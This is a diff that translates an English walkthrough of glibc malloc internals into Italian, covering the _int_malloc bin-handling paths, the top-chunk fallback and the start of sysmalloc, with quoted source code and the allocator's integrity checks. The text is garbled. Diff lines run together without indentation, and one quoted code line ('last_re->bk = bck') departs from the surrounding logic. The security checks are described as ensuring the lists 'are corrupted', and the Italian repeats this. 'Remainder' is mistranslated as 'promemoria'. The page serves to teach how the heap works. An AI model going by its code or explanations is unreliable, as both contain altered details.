-_int_malloc unsorted bin in_smallbin_range - +_int_malloc bin non ordinato in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +Se questo è stato un successo, restituisci il chunk e finisce qui, altrimenti continua a eseguire la funzione... -#### if equal size +#### se dimensione uguale -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +Continua a rimuovere il chunk dal bin, nel caso in cui la dimensione richiesta sia esattamente quella del chunk: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- Se il tcache non è pieno, aggiungilo al tcache e continua indicando che c'è un chunk tcache che potrebbe essere utilizzato +- Se il tcache è pieno, usalo semplicemente restituendolo
-_int_malloc unsorted bin equal size - +_int_malloc bin non ordinato dimensione uguale ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +Se il chunk non viene restituito o aggiunto a tcache, continua con il codice... -#### place chunk in a bin +#### posizionare il chunk in un bin -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +Memorizza il chunk controllato nel small bin o nel large bin in base alla dimensione del chunk (mantenendo il large bin correttamente organizzato). -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +Vengono eseguiti controlli di sicurezza per assicurarsi che entrambe le liste collegate del large bin siano corrotte: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- Se `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc posizionare il chunk in un bin ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### Limiti di `_int_malloc` -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +A questo punto, se un chunk è stato memorizzato nel tcache che può essere utilizzato e il limite è stato raggiunto, **restituisci semplicemente un chunk dal tcache**. -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +Inoltre, se **MAX_ITERS** è stato raggiunto, esci dal ciclo e ottieni un chunk in un modo diverso (top chunk). -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +Se `return_cached` è stato impostato, restituisci semplicemente un chunk dal tcache per evitare ricerche più ampie.
-_int_malloc limits - +_int_malloc limiti ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +Se i limiti non sono stati raggiunti, continua con il codice... -### Large Bin (by index) +### Large Bin (per indice) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +Se la richiesta è grande (non in small bin) e non abbiamo ancora restituito alcun chunk, ottieni l'**indice** della dimensione richiesta nel **large bin**, controlla se **non è vuoto** o se il **chunk più grande in questo bin è più grande** della dimensione richiesta e in tal caso trova il **chunk più piccolo che può essere utilizzato** per la dimensione richiesta. -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +Se lo spazio rimanente dal chunk finalmente utilizzato può essere un nuovo chunk, aggiungilo al bin non ordinato e l'lsast_reminder viene aggiornato. -A security check is made when adding the reminder to the unsorted bin: +Viene effettuato un controllo di sicurezza quando si aggiunge il promemoria al bin non ordinato: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc Large bin (per indice) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +Se un chunk non viene trovato adatto per questo, continua -### Large Bin (next bigger) +### Large Bin (prossimo più grande) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +Se nel grande bin esatto non c'era alcun chunk che potesse essere utilizzato, inizia a scorrere tutti i prossimi grandi bin (partendo dal successivo più grande) fino a trovarne uno (se presente). -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +Il resto del chunk diviso viene aggiunto nel bin non ordinato, last_reminder viene aggiornato e viene eseguita la stessa verifica di sicurezza: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger) - +_int_malloc Large bin (prossimo più grande) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### Top Chunk -At this point, it's time to get a new chunk from the Top chunk (if big enough). +A questo punto, è il momento di ottenere un nuovo chunk dal Top chunk (se abbastanza grande). -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +Inizia con un controllo di sicurezza per assicurarsi che la dimensione del chunk non sia troppo grande (corrotto): - `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +Poi, utilizzerà lo spazio del top chunk se è abbastanza grande per creare un chunk della dimensione richiesta.\ +Se non lo è, se ci sono fast chunks, consolidali e riprova.\ +Infine, se non c'è spazio sufficiente, usa `sysmalloc` per allocare una dimensione adeguata.
_int_malloc Top chunk - ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc inizio -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +Se l'arena è nulla o la dimensione richiesta è troppo grande (e ci sono mmaps rimasti permessi) usa `sysmalloc_mmap` per allocare spazio e restituirlo.
-sysmalloc start - +sysmalloc inizio ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc controlli -It starts by getting old top chunk information and checking that some of the following condations are true: +Inizia ottenendo informazioni sul vecchio top chunk e controllando che alcune delle seguenti condizioni siano vere: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- La dimensione del vecchio heap è 0 (nuovo heap) +- La dimensione del precedente heap è maggiore di MINSIZE e il vecchio Top è in uso +- L'heap è allineato alla dimensione della pagina (0x1000 quindi i 12 bit inferiori devono essere 0) -Then it also checks that: +Poi controlla anche che: -- The old size hasn't enough space to create a chunk for the requested size +- La vecchia dimensione non abbia spazio sufficiente per creare un chunk per la dimensione richiesta
-sysmalloc checks - +sysmalloc controlli ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc non arena principale -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +Prima cercherà di **estendere** l'heap precedente per questo heap. Se non è possibile, cercherà di **allocare un nuovo heap** e aggiornare i puntatori per poterlo utilizzare.\ +Infine, se non ha funzionato, proverà a chiamare **`sysmalloc_mmap`**.
